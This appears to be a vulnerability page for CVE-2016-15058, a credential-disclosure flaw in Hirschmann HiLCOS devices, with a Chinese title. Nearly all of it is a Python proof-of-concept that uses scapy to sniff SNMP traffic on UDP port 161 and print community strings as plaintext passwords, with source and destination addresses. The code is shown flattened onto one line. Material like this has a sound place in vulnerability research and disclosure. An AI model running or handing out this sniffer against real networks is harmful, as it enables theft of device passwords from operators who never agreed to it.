CVE-2016-15058 Hirschmann HiLCOS凭证泄露漏洞

#!/usr/bin/env python3 # PoC for CVE-2016-15058: SNMP Community String Sniffing # This script demonstrates how to capture plaintext credentials from SNMP traffic. # Usage: sudo python3 cve_2016_15058_poc.py from scapy.all import sniff, SNMP def packet_callback(packet): """Callback to process captured packets.""" if packet.haslayer(SNMP): # Extract the community string which is synced with the user password # In this vulnerability, the community string IS the password try: community = packet[SNMP].community.val.decode('utf-8', errors='ignore') print(f"[+] Captured SNMP Packet:") print(f" Source IP: {packet[0][1].src}") print(f" Destination IP: {packet[0][1].dst}") print(f" Community String (Plaintext Password): {community}") except Exception as e: print(f"Error parsing packet: {e}") if __name__ == "__main__": print("[*] Starting SNMP sniffer for CVE-2016-15058...") print("[*] Listening on UDP port 161 (SNMP)...") print("[*] Press Ctrl+C to stop.") # Filter for UDP port 161 (standard SNMP port) try: sniff(filter="udp port 161", prn=packet_callback, store=0) except KeyboardInterrupt: print("\n[*] Sniffer stopped.")